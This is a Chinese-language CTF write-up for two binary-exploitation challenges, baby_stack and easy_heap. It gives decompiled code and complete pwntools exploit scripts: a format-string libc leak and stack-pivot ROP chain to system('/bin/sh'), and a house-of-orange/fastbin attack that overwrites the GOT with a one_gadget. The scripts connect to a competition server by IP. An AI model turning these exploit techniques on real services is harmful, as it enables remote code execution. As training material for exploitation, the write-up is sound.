题目附件https://github.com/nyyyddddn/ctf/tree/main/wkctf_pwn

pwn

baby_stack

在guess number逻辑这里用格式化字符串泄露 libc地址后

__int64 wait()
{
  unsigned int v0; // eax
  char s[5]; // [rsp+Bh] [rbp-85h] BYREF
  char format[120]; // [rsp+10h] [rbp-80h] BYREF

  puts("Press enter to continue");
  getc(stdin);
  printf("Pick a number: ");
  fgets(s, 5, stdin);
  v0 = strtol(s, 0LL, 10);
  snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", v0);
  printf(format);
  return introduce();
}

echo 这存在一个 off by null的溢出,有大量的leave ret的逻辑,走完这些leave ret 栈就被迁移到了buf上,由于不知道具体位置,找大量的 nop: ret的gadget写满buf,再结尾写一个system binsh的rop就好了,有可能会因为system中 xmm寄存器 rsp对齐的原因失败,多跑几次就好了

__int64 __fastcall echo(unsigned int a1)
{
  char v2[256]; // [rsp+0h] [rbp-100h] BYREF

  return echo_inner(v2, a1);
}


int __fastcall echo_inner(_BYTE *a1, int a2)
{
  a1[(int)fread(a1, 1uLL, a2, stdin)] = 0;
  puts("You said:");
  return printf("%s", a1);
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "110.40.35.73"
PORT = 33632

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

sla("Press enter to continue","")


sla("Pick a number:","6")

ru("Your magic number is: ")
libc_base = int(rl()[:-1],16) - 0x3ec7e3
success(hex(libc_base))

pop_rdi_ret = libc_base + 0x000000000002164f
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x000000000003f8e8
nop_ret = libc_base + 0x000000000001b5a8




sla("How many bytes do you want to read (max 256)?","256")


payload = p64(nop_ret) * 0x10 + p64(pop_rdi_ret) + p64(binsh) + p64(system) 
payload = payload.ljust(256,b'\x61')

# g(p)
s(payload)


# g(p)

p.interactive()

easy_heap

glibc 2.23

只有 add edit show三个逻辑,其中show逻辑只能打印八个字节的数据,edit中存在溢出,house of orange,打house of orange的时候,剩余的top chunk大小如果属于fastbin范围,比如说 0x61 就能得到一个fastbin,在sizelist往上部分,有一个位置的值是 0x71,刚刚好满足fastbin的大小,通过fastbin attack可以把堆块申请到那边,然后再配合edit的溢出就能写到chunklist,之后就能实现任意地址读写的原语,通过got泄露libc的基地址,然后将got改成onegadget getshell

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = 0;
      __isoc99_scanf("%d", &v3);
      if ( v3 != 3 )
        break;
      show();
    }
    if ( v3 <= 3 )
    {
      if ( v3 == 1 )
      {
        add();
      }
      else if ( v3 == 2 )
      {
        edit();
      }
    }
  }
}

unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("Index :");
  __isoc99_scanf("%d", &v1);
  write(1, *((const void **)&chunk_ptr + v1), 8uLL);
  return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 add()
{
  unsigned int v0; // ebx
  int size[7]; // [rsp+4h] [rbp-1Ch] BYREF

  *(_QWORD *)&size[1] = __readfsqword(0x28u);
  size[0] = 0;
  if ( (unsigned int)chunk_number > 0x20 )
  {
    puts("too much");
    exit(0);
  }
  puts("Size :");
  __isoc99_scanf("%d", size);
  if ( size[0] > 0x1000u )
  {
    puts("too large");
    exit(0);
  }
  chunk_size[chunk_number] = size[0];
  v0 = chunk_number;
  *((_QWORD *)&chunk_ptr + v0) = malloc((unsigned int)size[0]);
  puts("Content :");
  read(0, *((void **)&chunk_ptr + (unsigned int)chunk_number), (unsigned int)size[0]);
  ++chunk_number;
  return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  _DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF

  *(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
  v1 = 0;
  nbytes[0] = 0;
  puts("Index :");
  __isoc99_scanf("%d", &v1);
  puts("Size :");
  __isoc99_scanf("%d", nbytes);
  if ( nbytes[0] > 0x1000u )
  {
    puts("too large");
    exit(0);
  }
  puts("Content :");
  read(0, *((void **)&chunk_ptr + v1), nbytes[0]);
  return __readfsqword(0x28u) ^ *(_QWORD *)&nbytes[1];
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "110.40.35.73"
PORT = 33755

elf = context.binary = ELF('./pwn')
# libc = elf.libc
libc = ELF('./libc-2.23.so')

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(size,content):
    sla(">\n","1")
    sla("Size",str(size))
    sa("Content",content)

def edit(idx,size,content):
    sla(">\n","2")
    sla("Index :",str(idx))
    sla("Size",str(size))
    sa("Content",content)

def show(idx):
    sla(">\n","3")
    sla("Index :",str(idx))



add(0xf08,"AAAAA")
add(0x58,"AAAAA")

edit(1,0x60,b"A" * 0x58 + p64(0x91))

add(0x100,"AAA")

edit(1,0x68,b"A" * 0x58 + p64(0x71) + p64(0x40408d))

add(0x68,"A")
add(0x68,"A")


edit(4,0x4b,b"A" * 3 + b"A" * 0x40 + p64(elf.got['puts']))
show(0)

rl()
puts_addr = u64(r(6).ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
success(hex(libc_base))


# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

edit(0,8,p64(libc_base + 0x45226))



# g(p)
p.interactive()
⬆︎TOP